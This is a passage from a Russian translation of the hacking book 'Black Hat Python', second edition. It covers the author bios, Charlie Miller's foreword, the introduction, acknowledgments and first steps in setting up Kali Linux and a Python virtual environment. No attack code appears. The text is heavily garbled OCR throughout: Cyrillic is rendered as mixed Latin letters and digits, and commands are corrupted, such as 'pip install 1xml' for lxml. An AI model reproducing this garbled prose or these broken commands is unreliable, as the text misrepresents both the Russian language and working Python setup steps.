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O6 aBTOopax

JxacTuH 3eiTI] — U3BECTHBII MPAKTUKYIOIIUI CIIEIMAINCT 10 Krnbepbesomnac-
HOCTH U pa3BeJIKe M0 OTKPBITBIM KCTOYHUKAM, a TakKe coyupeantesb Dark River
Systems Inc. — ka#HamCKON KOMIAHNUM, KOTOPAasd 3aHUMAETCSI KOMITBIOTEPHO
6esomacHoCThIO 1 c6opom mHpopmaiuu. Ero craThut myOJIMKOBAINCH B JKypHA-
nax Popular Science, Motherboard u Forbes. Ha cuery [Ixactuna aBe KHUTH
0 pa3paboTKe MHCTPYMEHTOB st B3jsoma. OH co3znan yuebuyio miatdopmy
AutomatingOSINT.com u Hunchly — cpeznctBo chopa orieparusHoit nHbopmarmm
nuist uccaenoBareseil. /kactun takske yuactyet B pabore Bellingcat, siBisiercst
yaeHoM TeXHU4YecKoTo KOHCYJIbTaTUBHOTO coBeTa Tpu MeskIyHapOIHOM YTOJIOB-
HOM CyJie ¥ cOTPyAHUKOM IleHTpa mepcrneKTuBHBIX 0O0POHHBIX UCCAeI0BAHUI
B Bammnrrone (okpyr Koaymobust).

Tum ApPHOJIB B HACTOsIIIIEe BpeMsi paboTaeT mporpammuctoM Ha Python u crieru-
aJM3UPYETCs HAa CTAaTUCTUKe. B Hauasie kKapbepbl OH TIPENo/IaBal B YHUBEPCUTETE
mrara CeBeprast Kaposaa. Tum MHOTO JieT 3aHuMasIcst pa3pabOTKON U3/1aTe b-
CKOH CHCTEMBI 7T TEXHUYECKON M MaTeMaTHYeCKON JOKYMEHTAIINN B Ka4eCTBe
riaBroro paspaborunka [TO B SAS Institute. OH BXOIWI B COBET IUPEKTOPOB
Raleigh ISSA u koncyabTHpoBas pykoBoauTeseir MexayHapoaHOrO CTaTh-
CTUYECKOTO MHCTUTYTA. JIFOOUT YUTaTh JIEKIMHU, Jeast uaen HHGOPMaInOHHOI
6e3onacuoctu 1 Python gocTymHBIME /IJIsT HOBBIX MOJIb30BaTeE U MOBBIIIAST
KkBasnuKaIio 6osee onbITHBIX Tpodeccronanon. Tum sxuser B CeBepHoii Ka-
posimHe co cBoell KeHoll TpeBoil 1 KoBapHBIM momyTaeM Kopestoit Cumnu. Ero
MOKHO HaiiTu B Twitter 1o nicenonumy @jtimarnold.



O HayyHOM pepaxkTope

s Kmudoa [:xanzeHa TeXHOJIOTUY SBIASIOTCS HEOThEMIEMON YaCThIO JKU3HU
(a mHorga u crpactTHbIM yBiederreM) co Bpemer Commodore PET u VIC-20!
Béabiryio yacts cBoero pabodero spemenn Kindd pykoBoauT 3amedaTebHON
KOMaHIOH crenuaanctos mo 6e3omacuoctu. OH cTapaeTcs IMaraTh B HOTY €O
BpeMeHEeM, 3aHUMasICh BCEM MOIPSIL: OT AaHAJIM3a TTIOJUTHK Ge30TTaCHOCTH U TECTH-
poBaHUSA Ha MPOHUKHOBEHUE /10 PearupoBanus Ha mpouciiectsus. OH cunTaer
cebst CYACTIIMBYMKOM, TOTOMY YTO Kapbepa — 3TO M eCTh €ro X000, a jKeHa ero
nozepskuBaet. Kimdd 6maronapen /[skacTuy 3a BO3MOKHOCTH IOpaboTaTh HaJl
MEePBBIM U3/ITaHUEM 9TOU 3aMevaTeTbHON KHUTH U TUMYy 3a TO, UTO TOT IIOMOT eMY
Hakowrerl iepeiitu Ha Python 3. 1 ocobast 61aroapHoCcTh MPeKpacHOMY KOJLTEK-
tuBy No Starch Press.



NMpeaucnosue

C Tex MOp Kak g HaMucaj MPeUucJoBre K TIEPBOMY UPE3BbIYANHO YCIEITHOMY
usnanuio Black Hat Python, ipolijio mectb JieT. 3a 9T0 BPeMsi B MUPE MHOTO€ 13-
MEHUJIOCh, HO sI TIO-TIPEsKHEMY TIHIITY YePTOBCKKM MHOTO Kozia Ha Python. B cdepe
KOMITBIOTEPHOIT 6€30IIaCHOCTH BCE €IIle BCTPEYAIOTCst HHCTPYMEHTBI, HAlIMCAHHbIE
Ha Pa3HbIX SI3bIKAX, B 3aBUCUMOCTH OT Ha3HAYEeHUsI. DKCILJIOUTHI JIJIs1 SiIpa CO3AAi0T
Ha C, cpezcrBa (ha3sunra /it BeO-cTpaHuil — Ha JavaScript, a mpoOKCH-cepBepbI
MOTYT OBITH HAIMCAHBI HA TAKOM HOBOMOJIHOM si3biKe, Kak Rust. Oxnako Python
ocTaercs rIaBHOW paboveil JIOMIAAKOI B 9TO oTpacyu. S cyuraio, 4To 9TO BCe
ele caMbIil TPOCTOM SI3BIK U1 HAYMHAIOMIMX W JIYYIIHiT BEIOOP it OBICTPOIA
pa3paboOTKN WHCTPYMEHTOB, PEIIAIONMX CIOKHbIE 3aaui IPOCTHIM CIIOCOOOM,
YUUThIBast GOJIBIIOE KOJUUYECTBO AOCTYIIHBIX Oubanorek. Bomblnas yacTb cpeacTs
KOMITBIOTEPHOI 6€301TaCHOCTH 1 SKCIJIONTOB, KaK U paHblile, Harnncana Ha Python.
Iro kacaercs GpeliMBOPKOB co3panus sKcmaoiTos Hamogooue CANVAS, kiac-
cruecknx (has3zepos, Takux kak Sulley, u Bcero ocrasibHOrO.

Eme 1o Boixosa nepsoro uspauus Black Hat Python s manucan na Python muoro
(bassepoB u sKCILIONATOB, B ToM unce g Safari Ha Mac OS X, iPhone u Tene-
dhonos mox ynpasiennem Android u maxe nst Second Life (HaBepHoOe, He Bce
TIOMHSAT, YTO TO TAKOE).

Kak 6b1 Tam HE 65110, ¢ TeX 110p MbI ¢ Kprcom Basacexom cosnanu 10BOJbHO He-
OOBIYHBII 9KCILTIONT, KOTOPBII MOT yi1aeHHO B3aMbiBaTh Jeep Cherokee 2014 roma
BBIITYCKa U IpyTHe aBToMoOmin. 1 koHeuHo ke, on 611 Hanucan Ha Python ¢ mpu-
MenenreM moayJist dbus-python. Tot ke s13bIK MCTOIB30BAJICS IS Pa3pabOTKU
BCEX OCTAJIbHBIX HHCTPYMEHTOB, KOTOPbIE B KOHEYHOM CUeTe TO3BOJIMIIN HaM y/ia-
JIEHHO KPYTHUTb PYJib U HAKUMATh Ha Ta3. MoKHO ckasaTb, uTo Python B kakoM-T0
CMbICJIE OTBETCTBeHEH 3a 0T3bIB 1,4 MutH mantua Fiat Chrysler.

Ecsin Bam mHTEPECHO 3aHNMATHCST HHMOPMAIIOHHO 0€30IACHOCTHIO, HE TOMeTITa-
et n3yuntb Python, Tak kak Ha HeM HaIMCAHO OTPOMHOE KOJMYECTBO OUGIMOTEK
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1 o6paTHOil pazpaboTku u akciioiTa. Ecin 6b1 paspaborunku Metasploit
omymaiuch u rieperiiu ¢ Ruby na Python, B Hatiem coo01iiecTBe BOIapuioch Obl
MOJIHOE COTJIacue.

B aToM HOBOM M3aHUM YiKe roJiobuBIIeiics BceM kjaaccuky JIxxactud U Tum
obHOBUIN Bech Kox 10 Python 3. JIn4HO s yeI0BeK cTapoil 3aKaIKU U IIPOIOJIKY
noJb3oBaThest Python 2, moka aTo ele BO3MOKHO, HO TIOCKOJIBKY TOJIE3HbIE O1-
GJIMOTEKH 3aBepIIaloT epexo/| Ha Python 3, MHe BCKOpe IIPUETCst M3Y4YnTh HOBYIO
Bepcuio A3bIKa. B kHMTe y1amoch OXBaTUTh ITUPOKU CTIEKTP T€M, KOTOPbIE TTOHATO-
OSTCS TIPEATTPUUMIKBOMY MOJIOJOMY XaKepy — OT OCHOB YTEHUS 1 3alTUCH CETEBBIX
[IAKETOB JI0 BCETO, YTO MOKET IIPUTOAUTHCS IPH ay/IUTe U aTaKe BeO-TIPUIOKEHUI.

B nesiom aTO MHTEpecHas KHUTA, HAMCAHHAS CIIEIIUAJMCTAMU C OTPOMHBIM
OTIBITOM, KOTOPBIE XOTAT MO/IEANUTHCS CBOMMU cekpeTamMn. MoseT, OHa 1 He TIpe-
BpATHUT Bac B CyTepxakepa Bpojie MeHs, HO, HECOMHEHHO, TIOMOKET BaM BCTaTh Ha
IPABUJILHBII Iy Th.

ITomuure: pasHula MEKAY CKPpUIIT-KUIJN 1 HpO(beCCI/IOHaJIbeIMI/I XaKepaMu B TOM,
YTO IEPBbIE UCTTOJIB3YIOT UHCTPYMEHTDI, CO3/JaHHbIE KEM-TO IPYTUM. BTOpre MOTYyT
nucarh COOCTBEHHbIE WHCTPYMEHTBI.

Yapau Munnep, uccredosamens 6 obracmu 6e30nacHoCmi,
Cenm-Jlyuc (Muccypu), okmsaopv 2020 zooa



BBegeHue

MoskeTe Ha3bIBaTh HAC XaKepaMu WJIM IIporpaMmuctamMu Ha Python — o6a Tepmu-
Ha TOYHO OIINCBIBAIOT TO, YEM MbI 3aHUMAaECMCA. II)KHCTI/IH nmeeT 6OJII)HIOI>.I OIIBIT
TECTUPOBAHMS Ha TIPOHUKHOBEHKE, KOTOpoe TpebyeT yMeHus: ObICTPO paspada-
THIBATH MHCTPYMEHTHI Ha Python u opueHTHPOBaHO Ha TOCTIIKEHNE PE3YIBTATOB
(uHoraa B yuepd U3SNIIECTBY, TPOU3BOAMTENBHOCTH WU JaKe CTaOUIbHOCTH).
Tum m06UT pUroBapuBath: «/lemaiite Ko pabounM, Aesaiite ero MOHATHbIM,
JeiaiiTe ero ObICTPHIM — UMEHHO B TAKOM IIOPsiKe». EC/IM Balll KoJ| JIErKO YUTaTh,
OH 6y[[eT IIOHATEH He TOJIbKO TeM, C KEM Bbl UM J€/JIUTECh, HO 1 BaM CaMUM, KOIr'Ja
BbI B3IUISTHETE Ha HETO HECKOJIBKO MECSIEB ciycTs. Ha crpanuiiax 9Toil KHUTH BbI
YBUAWUTE, YTO UMEHHO TaK Mbl U IIPOTPAMMUPYEM: XaKEPCTBO — Hallla KOHEYHaA
1eJIb, a TIOHATHBIA KO — MeTo/ ee pocTvkenus. Haxeemes, atu punocodus
1 CTUJIb TIOHPABATCS U BaM.

C MoMeHTa BbIXO/a TIepBOro M3aHus 3Toil KHUTH B Mupe Python muoroe mpo-
usornwio. B siuBape 2020 roja 3aBepinuiics JKU3HEHHBIH MK Bepcun Python 2.
JlJ1st IporpaMMUpPOBaHUS U IIPENOIaBaHKsI TEIIEPh PEKOMEH/IYeTCsI CII0JIb30BaTh
Python 3. B ¢Bsi3u ¢ 3T¥M BO BTOPOM M3/IaHUU BeCh KO/ TiepeBezieH Ha Python 3
C TIpUMEHEHNEM HOBEHIMX MaKeToB 1 OUOIMOTEK. 3[eCh TaKKe UCIIOIb3YIOTCS
HOBOBBe/IeHUs B cuHTakcuc Python, mocrymsbie ¢ Bepeun 3.6, — Harpumep, CTPOKK
IOnukoxm, aucmeryepsl KoHTeKeTa U f-cTpoku. Hakomerr, Bo BTopoe U3amue BOIILIO
omnucaHue JOMOJHUTENbHBIX aCHEKTOB IIPOrPaMMUPOBAHUS 1 PAOOTHI C CEThIO,
TaKMX KaK MCIIOJIb30BaHue JUCIIeTYepOB KOHTeKcTa, ciuHTakcrc Berkeley Packet
Filter u cpasuenue 6ubanorek ctypes u struct.

Bo BpeMs uTeHUs BBI HaBepHIKa 3aMETUTE, UTO HU OJ[HA M3 TEM He pacCMaTpu-
Baercst riy6oko. Tak u 3aymMano. Mbl XOTHM TIPEOCTABUTH BaM OCHOBBI, YTOObI
BbI IprioGpesin (hyHIaMeHTalbHble 3HAHWS U3 MUPa Pa3pabOTKU WHCTPYMEHTOB
B3siomMa. C y4eToM 3TOr0 Mbl PACHPEAETUIN 110 BCeil KHUTe 00bsICHEHUST, UIEN
U yrnpaxkHeHus:, 4TOObI BbI CMOIJIM HayaTh JBUTAThCsS B MHTEPECYIONIEM Bac
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Harpassernu. [I[purianiaemM Bac MCCI€I0BaTh 9TU UEU U OyIeM PaJIbl YCIIbIIIATD
0 JIT0OOM MHCTPYMEHTAPUH, KOTOPBII BbI paspaboTalii caMOCTOSITENBHO.

Kax Bceria 6p1BaeT ¢ TEXHUUYECKOMN JIMTEPATYPOIA, JIFOIN C PA3HBIMHU YPOBHSIMH Ha-
BBIKOB OY/IyT YUTATh 3Ty KHUTY TIO-pasHoMy. HeKOTOpbIe 13 Bac IPOCTO OTKPOIOT
orJIaBJieHVe W BHIOEPYT IJIaBbl, MIMEIOIIIEe OTHOIIEHIEe K Balllell MOBCeHEBHOI
KOHCAJITUHTOBOM /leATeJbHOCTU. /[pyriie MOryT YMTaTh OT KOPKH 10 KOpKU. Ecan
BbI Biiazieete Python Ha HayaIbHOM WK CpejiHeM YPOBHE, COBETYeM HA4YaTh C TJa-
BbI | 1 TOCJ/IEIOBATEIHHO ABUTATHCS BIIEpe. B Xoe arenmst BbI OTKpoeTe 1715t cebst
HEKOTOPbIE II0JIE3HbIE BEIllH.

Jlng Havasa Mbl U3JI05KUM OCHOBBI yCTPOMCTBA ceTH B IyiaBe 2. 3aTeM B IJaBe 3
MeJITIEHHO, HO BEPHO pazbepeM chipbie COKeThI (raw socket), ocste gero Bocmoin3y-
eMcsl yTHIUTOM Scapy, 4To0bl 06CyIUTh G0JIee MHTEPECHBIE CeTEBbIE MHCTPYMEHTHI.
Cuenyiornast 4acTb 9TOW KHUTHU MTOCBSIIEHA B3JIOMY BeO-TIPUIOKEHUIT: HATHEM
¢ pa3paboTKK COGCTBEHHOTO MHCTPYMEHTApPHs B IJIaBe 5 ¥ 3aTeM PaCIIUPUM I10-
myJisipHbIi aketT Burp Suite B riae 6. [lociie 9TOT0 MBI y/I€IMM CYTIIECTBEHHOE
BHMMaHUeE TPOsTHAM, HauMHasi C TJ1aBbl 7, T1e Bocriosbayemcst GitHub, u sakanunBast
riasoit 10, Te paccMaTpUBAIOTCS HEKOTOPBIE TPUEMBI TIOBBITIIEHUS TTPUBUIETUN
B Windows. B nociienneii rmase peus noiiger o Volatility — 6ubanoreke st
KPUMUHOJOTMYECKOTO aHAIN3a MaMSITH, KOTOPast TIOMOKET BaM MOHSATH 00pa3
MBITIJIEHUS 3aITATIATOIIEICS CTOPOHBI M ITOKAYKET, KaK UCTIOIb30BaTh MHCTPYMEHTHI
JIJTS1 B3JIOMA.

Mbl mocTapasiuch ¢jiesiaTh MpUMePbl Kojla JAKOHUYHBIMU U KOHIIEHTPUPOBAHHBIMU,
TO K€ caMOe OTHOCHUTCS U K MosicHerusiM. Ecain BbI io3HakoMusuck ¢ Python or-
HOCHUTENBHO HeJaBHO, COBETYEM BaM HaOMPaTh KaxKAyI0 CTPOUKY, YTOOBI Pa3BUTh
CBOIO IPOTPAMMUCTCKYIO MBIIIIEYHYIO TaMSITh. VICXOAHBIN KO/ BCeX TPUMEPOB, ITPH-
Be/JICHHBIX B KHUTE, pa3MellleH Ha cTpanulle https://nostarch.com/black-hat-python2E/.

IToexamnn!

OT uspgarenncrea

Bamm 3ameuanus, mpeisioskeHns, BOIPOCH! OTTIPABJALITE TIO ajipecy comp@piter.
com (u3naTebeTBO «IluTepy, KoMIIbIOTEpHAS PEMAKITNS ).

Mbri Gyziem pajibl y3HaTh Baliie MHeHe!

Ha Be6-caiiTe n3garebcTBa WWW. piter.com BbI Haiiziere moApoOHY0 nHMOPMAIIUIO
0 HaIllUX KHUTaX.



BbnarogapHocTu

Tum xoren 66 ckazath GoJibIoe crackbo cBoeil skeHe Tpese 3a ee HEM3MEHHYTO
nozepskKy. Ecim Obl He HECKOJIBKO CYACTIIMBBIX CIydaitHOCTE, eMy Obl He Mpejl-
CTaBUJIACH BO3MOKHOCTH paboTath Has 3To# KHuroi. Ou Gaarogapur Raleigh
ISSA, ocobenno [lona dicuepa u Hatana Kuma, 3a moep:kKy 1 mooIpeHe pu
00y4eHH MECTHBIX CTYIEHTOB C UCIOJIb30BaHUEM [IEPBOIO U3IaHUs DTOI KHUTH,
KOTOPOE OH IOJIIOOIII B XOJI€ 9TOTO TIpoliecca. Takske CIeayeT OTMETUTD JIOKAJIbHOE
COOOIIIECTBO XaKEPOB U He B TIOCJIEHIO0 0YePeib PEOSIT 13 KITyha 10 CIIOPTHBHOMY
B3soMy 3aMKOB Oyk-Cutu — OH 6J1aroflaput uXx 3a HOAJMEPIKKY U BO3MOKHOCTD
o1po6oBaTh CBOU HUIEH.

JlkacTuH xoTe 1 ObI 0OJIAaroIapuTh CBOIO CEMBIO — TIpeKpacHyio skeHy Kiapy
u msATepbIx geteit: Imunu, Kaprepa, Koana, bpetinu n Meiicona — 3a nogaepxky
U TeplieHne, KOTOPoe OHY MPOSIBUJIN 32 MTOJITOPA TO/Ia, TOKA OH MUCAJ ATy KHUTY.
OH o4eHb CUIIbHO KX JTI0OUT. BeeM apysbsim B cooldiecTBax Kiubephe3onacHOCTH
1 OSINT, ¢ KOTOPBIME OH BMECTE BBITIMBAET, CMEETCS U TBUTHUT: CIIACUO0, UTO eKe-
JTHEBHO BBICJIYIIIBAETE €T0 KaI00bI U HBITHE.

Orpommuoe crraci6o bty Tosmoky u3 No Starch Press u Haremy teprieiuBoMy
penaxtopy @pancuc Co 3a TO, 4TO TOMOTJIN C/IENATh ITY KHUTY HAMHOTO JIyYIIle.
Criacu60 BceM ocTaimbHbIM coTpyatukam No Starch Press, B Tom unciie Taiisepy,
Cepene u JIn, 3a TS:KeJIbIN TPY/L, BIOKEHHBIN B 3Ty KHUTY U B OCTaJIbHbBIC U3/[AHUS
B BaieM karajiore. MbI 06a 910 1ieanM. Takske XoTe i Obl T06IaroapuTh HaIIero
HayuHOro pemaktopa Kimudda /lskansena, KOTOPBIN TPeIOCTABISI COBEPIIEHHO
HEBEPOSTHYIO MOMOTITh Ha IPOTSIKEHUH BCero Tpotecca. JIto6oii, KTo MUIieT KHUTy
06 nH(DOPMATMOHHOIT 6e30MaCHOCTH, JOJUKEH 00513aTeIbHO ¢ HIUM MOpaboTaTh:
Ha3BaTh €ro BKJIA/[ HOTPSACAIONIM ObLIO OBl TPEYMEHBIICHUEM.



MoprotoBka cpenbl ana Python

ITO caMasl CKy4YHasl, HO TeM He MeHee BaKHAs YacTh

KHUTHU. B Heit Mbl pasbepeM poIece MOAr0TOBKY CPE/Ib

JUIST HAIIMCAHWST U TeCTUPOBaHus Kojaa Ha Python. Mbr

NpOHIeM YCKOPEHHBIN KypC HACTPOWKU BUPTYAJbHON

maruasl (BM) Kali Linux, co3nanust BUPTYaIbHOTO OKPY-

sxerwst it Python 3 u yeranoBku yI06HON MHTETPHPOBAHHON

cpeapl paspaborku (integrated development environment, IDE),

4T00ObI y Bac ObLIO Bce HEOOXOAMMOE JIJIs HATMCaHus Koja. 11o mpoureHun aToi

IJIaBbBI BbI JIOJKHBI OBITH TOTOBBI K PEIEHUIO YITPAKHEHU, TPE/ICTaBJIEHHBIX B €€
KOHIIE, U aHAJIN3Y TIPUMEPOB KOJIa, IIPUBE/ICHHBIX B OCTABIITUXCS IJIaBaX.

[Ipexxie yem HAYaTh, CKAUaTe M YCTAHOBUTE KJIUEHT BUPTYAIU3AIUU HA OCHOBE
runepBu3opa, takoii kak VMware Player, VirtualBox uwin Hyper-V, eciiu BbI 9TOr0
eriie He cieqiasi. Takske coBetyeM Jep:kath HarotoBe BM ¢ Windows 10, ipo6ryto
KOIINIO MOKHO B3$ITh 3/1eCh: https://developer.microsoft.com/ru-ru/windows/downloads/
virtual-machines/.

YcraHoBka Kali Linux

Kali — sto pennkapuanus quctpubyrusa BackTrack Linux, pazpaborannas
kommanueil Offensive Security B kauecTBe OnepaiinoOHHON CHCTEMBI JIJISI TECTUPO-
BaHUsI HA IPOHUKHOBeHUE, B ee cocTaB BXOAUT 1EJIbIN PSi/l IIPELYCTAHOBIEHHBIX
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MHCTPYMEHTOB, HO TIOCKOJIbKY OHa ocHoBaHa Ha Debian Linux, Bam mocTtyrmen
IIUPOKKIA BHIOOD JOMOJHUTEIbHBIX TPOrPaMM U OGUOIOTEK.

Bei 6ynere ucnionbsosath Kali B cBoeii rocteBoil BupTyasibHoii Mammne. To ecTh
ckavaere oOpas Kali u 3amycture ero Ha cBoeM KOMIIBIOTEPE € TIOMOIIIBIO JTI060-
ro rumepBu3opa 1mo csoemy Beioopy. O6pas Kali umeercsa na crpanmuiie https://
www.kali.org/downloads/. CiieyiiTe UHCTPYKITUSIM, TIPUBEICHHBIM B IOKYMEHTAIIUN
Kali: https://www.kali.org/docs/installation/.

BBITOJIHUB Bee 9Tarbl yCTAHOBKH, BbI JI0JGKHBI TIOJIYYUTD TIOJHOIEHHOE OKPY/KEHUE
pabouero croaa Kali (puc. 1.1).

BY OFFENSIVE SECURITY

Puc. 1.1. Pa6oumit cton Kali Linux

[TockoabKy ¢ MOMeHTa co3tanust oOpasa Kali Morsv BbriiTi BaskHble OGHOBJIEHNS,
naBaiite 0OHOBUM TOCTEBYIO CHCTEMY JI0 TTOC/Ie/Hel Bepcui. BBeaure B KoMam -
Holt obosouke Kali (Applications » Accessories » Terminal (ITpusioxenus » Cran-
naptaeie » TepmuHam)):

tim@kali:~$ sudo apt update
tim@kali:~$ apt list --upgradable
tim@kali:~$ sudo apt upgrade
tim@kali:~$ sudo apt dist-upgrade
tim@kali:~$ sudo apt autoremove
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Moagrotoeka Python 3

[TepBbIM e0M yOEIMMCST B TOM, 9TO Y HAC YCTAHOBJIEHA MOAXO/SAIIAST BEPCUsT
Python (mrpoektsi B 9T0ii KHure paccunTtanbl Ha Python 3.6 u Bbimie). 3amycrum
Python B komanznoit o6osouke Kali u mocmorpum:

tim@kali:~$ python

Bor kak BRIMISANUT BBIBOJ Ha KoMmbioTepe ¢ Kali:

Python 2.7.17 (default, Oct 19 2019, 23:36:22)

[GCC 9.2.1 20191008] on linux2

Type "help", "copyright", "credits" or "license" for more information.
>>>

He coBcem To, uto Ham Hy:xHO. Ha MomeHT Hanucanus atux ctpok B Kali mo
YMOJIYAHUIO UcToab30Batach Bepcust Python 2.7.18. Ho ato ne npobaema, tax
Kak Bepcust Python 3 Toske mosKHA GBITH yCTaHOBJIEHA:

tim@kali:~$ python3

Python 3.7.5 (default, Oct 27 2019, 15:43:29)

[GCC 9.2.1 20191022] on linux

Type "help", "copyright", "credits" or "license" for more information.
>>>

3nech ucnosbayercs Bepeus 3.7.5. Eciu y Bac oHa Huke 3.6, 00HOBHTE JUCTPH-
OyTHUB C TIOMOIIBIO CJIEYIONIEN KOMAH/IBL:

$ sudo apt-get upgrade python3

Mperi 6yzem ucrniosib3oBath Python 3 B supmyanvioii cpede — aBronoMHOM JepeBe
KaTaJoroB, KoTopoe cozep:xut Python 1 Habop JIFOOBIX IOTIOJTHUTETbHBIX TTAKETOB,
KOTOPBIE BBl yCTAHOBUTE. BUpTyasbHasd cpeia — 9TO OJUH U3 He3aMEHUMBIX UH-
cTpyMeHTOB pa3paborurka Ha Python. C ee oMOIIIbIO MOIKHO Pa3iesIsiTh IPOEKTHI
¢ pasHbIMU oTpebHOCTsIMU. Harpumep, 0iHy BUPTYaIbHYIO CPe/Ly MOKHO UCTIOJb-
30BaTh /LI MTPOEKTOB, CBA3AHHBIX C AHAJIN30M CETEBBIX TTAKETOB, & IPYTYIO — I
MIPOEKTOB TI0 AaHAJIN3Y JIBOUYHBIX (PAIOB.

Baaropapst HaIM4IKIO OTAEABHBIX CPEL BBl MOKETE TIOIEPKUBATH CBOI KO/ B 10~
PsIZIKe, He YCJIOKHSS ero 6e3 HeobxoamMocTu. TakiuM 06pa3oM, y KakI0il Cpelibl
MOKeT ObITh COOCTBEHHBIN HAOOP 3aBUCUMOCTEN 1 MOJLYJIEi, KOTOPBIE HE BIIHSIIOT
Ha paboTy APYTUX BalllKX IIPOEKTOB.



Moarotoeka Python 3 19

Cozmaanm BUpTyasnbHylo cpeny. [l Havasma Hy:KHO YCTaHOBUTH MaKeT python3-
venv:

tim@kali:~$ sudo apt-get install python3-venv
[sudo] password for tim:

Terepb MOKHO €O3/1aTh BUPTYaJIbHYIO cpely. JlJist Toro moHago6uTes: HOBbIit
KaTaJIorT, B KOTOPOM MbI Gy/ieM paboTarh:

tim@kali:~$ mkdir bhp

tim@kali:~$ cd bhp

tim@kali:~/bhp$ python3 -m venv venv3
tim@kali:~/bhp$ source venv3/bin/activate
(venv3) tim@kali:~/bhp$ python

Takum 06pa3oM, MbI TIOJTYYMM B TEKYIIIEM KaTajaore manky bhp. 3arem cosmaercst
HOBasl BUPTYyaJibHAsA Cpefia yTeM BbI30Ba TTaKeTa venv ¢ bJIaroM -m ¥ Ha3BaHUEM,
KOTOPOE MbI XOTUM €l Ha3HaunTh. M bl HA3BAJIU CBOIO CPE/LY Venv3, HO Bbl MOJKETE
BBIOpaTh Jit000e ipyroe nmsi. B aTom Katasore OyyT HaXOAUTHCST CKPUTITHI, TAKEThI
n rcnosHsiemble aiiier Python. [asbiire Mbl ak THBHPYEM HaIILy CPeJLy ¢ OMOIIBIO
ckpunTa activate. O6paTuTe BHUMaHKE Ha TO, YTO B PE3YJIbTaTe TOTO MEHSIETCS
MpuUrIamene KOMaH/HOH CTPOKUA — Temeph Mepejl HUM BBIBOJNTCS Ha3BaHUE
cpebl (B HateM ciydae 910 venv3). [Tosxke, Koria 3akoHuMTE paboTaTh CO CPEIOii,
UCIIONB3YiTe KOMaHy deactivate.

Wrak, BBl moAroToBUIM Python n akTUBHpOBaIN BUPTyaIbHYIO cpeny. Tak Kak
B 9TOM cpejie uctiosbayercst Python 3, mpu 3amycke nHTEpIpeTaTopa MOKHO yKa3bl-
BaTh IPOCTO python BMecTo python3. HBIMU cJI0BaMU, TIOCTIE aKTUBAIIUN KayK/1ast
koMan/a Python Gyer HHTEPIPETHPOBATHCSI OTHOCUTEILHO Ballleil BUPTYaIbHON
cpenpl. [Toxanyiicra, yuaTure, 4TO MCHOJIb30BaHue Apyroi Bepcun Python mosxker
HapYIIUTh paboTy HEKOTOPHIX IPUMEPOB KOJIa, TPUBOMMBIX B KHUTE.

Jliist yeranoBku naketos Python B BUpTyasibHOM cpejie MOXKHO 3a/1eiiCTBOBAT HC-
roJiHsAeMbIi (haitsr pip. OH BO MHOTOM ITOXO03K Ha AMCIIETYEP ITAaKEeTOB apt, Tak Kak
MO3BOJISIET aBTOMATU3MPOBATh TIPOIECC YCTAHOBKH, YTOOBI BaM He HYKHO ObLIO
CKauMBaTh, PACTIAKOBBIBATD M YCTAHABIMBATDH MAKETHI BPYUHYIO.

C IIOMOIIBIO plp Bbl MOJKETE UCKATb ITAKETHI U YyCTaHABJIMNBATH UX B cBOCH BUPTY-
aJIBHON cpefie:

(venv3) tim@kali:~/bhp: pip search hashcrack
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JlaBaiite poBe/ieM HEGOJIBIIOM HKCIIEPUMEHT U YCTAHOBUM MOJLYJIb 1xml, KOTOPbIit
OyzeT IPUMEHSITHCS B TJIaBe 5 JIJIsT CO3/IaHusT IPOTPAMMBI, M3BJIEKAIOIIEH Coep-
JKUMOe BeO-cTpaHuil. BBenTe B CBOEM TEPMUHAJIE CIIEYOIIIEE:

(venv3) tim@kali:~/bhp: pip install 1xml

BbiBoJ B TepMUHAJIE TOJIKEH CUTHAJIM3UPOBATH O TOM, 4TO OMOJIMOTEKA CKavM-
BaeTcs M ycraHaiupaercs. [To 3aBepliieHUr TIpoiiecca 3alyCTUTe KOMaHAHYIO
o6os10uky Python u moarsepaute, uTo yecraHoBKa MpoIiia KOPPEKTHO:

(venv3) tim@kali:~/bhp$ python
Python 3.7.5 (default, Oct 27 2019, 15:43:29)
[GCC 9.2.1 20191022] on linux

Type "help", "copyright", "credits" or "license" for more information.
>>> from 1xml import etree
>>> exit()

(venv3) tim@kali:~/bhp$

Ecst BMecTo 9T0r0 BBI oJtyunTe ommOKy mim Beperto Python 2, ybeaurech B Tom,
9TO BBITIOJIHUJIN BCE TITATH, IEPEYNCIEHHBIE paHee, U 4TO y BaC yCTAHOBJIEHA aK-
tyanbHast Bepeust Kali.

Wmeiite B BULY, 9TO KO/ OOJIBITNHCTBA IPUMEPOB, MPEACTABIEHHBIX B 3TON
KHUTe, MOKHO pa3pabarbiBaTh B Pa3HOOOPA3HBIX OIEPAIMOHHBIX CUCTEMAX,
Bkodast macOS, Linux 1 Windows. Bam Tak:ke, HaBepHOe, CTOUT KCITOJIb30BaTh
OTZeTbHbIE BUPTYAJIbHBIE CPEIBI [IJISI PA3HBIX MTPOEKTOB UK T1aB. HekoTopsie
rJIaBbl OTHOCATCA UCKIOUATENbHO K Windows, 1 B UX Hadajie MBI 06 3TOM
YIIOMSTHEM.

WTax, Mbl TIOrOTOBUJIM BUPTYaIbHYI0 MAIIMHY U BUPTyaIbHyIo cpexy ¢ Python 3.
Teneps ycranosum IDE 1 pazpaGoTk.

YcraHoBka IDE

Wurerpuposannas cpea paspaborku (integrated development environment, IDE)
IpeaocTaBiseT Habop MHCTPYMEHTOB [Iist Harmcanust kojga. OHa, Kak MpaBHIo,
COCTOUT M3 PelaKTOpa C TOACBETKOI CHHTAKCKCA ¥ aBTOMAaTHYECKUM aHAIH30M
koja u otaaaurka. IDE npearasHayeHa st 06JerdeHnst HallMcaHust U OTJIaIKK
nporpamm. IIpu nporpammuposanuu Ha Python ee ucnosbzoBath Heobs3aTE b-
HO — JIJ1sT HeOOJIBIIHX [TPOrPAMM-TIPOTOTUIIOB MOKHO OOOUTHCH JIFOOBIM TEKCTOBBIM
PEIAKTOPOM, TAKIM KaK Vim, nano, bnokHoT i emacs. Ho B 6oJiee KpyITHBIX U CTOK-
HbIx mpoektax IDE Gyzer upe3Bbuaiino moiesHa, HapyuMep OHa MOKET BBIIEUTh
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orpeaeJsieHHble, HO HEMCITOJIb3yEMbIE IIEPEMEHHDIE, O6Hapy>KI/ITb OII€YaTKM B UMEHaXxX
NEPEMEHHDBIX NJIN HaNTH HeAoCTaloIe MHCTPYKIIUW UMITIOPTa ITaKETOB.

ITo pesysibraTaM HelaBHErO ONPOCa, AByMs Hanbosee momysasapabiMu IDE y pas-
paborunkos Ha Python sisistiorest PyCharm (nMeer koMmmepueckyio u 6ecriiaTHy o
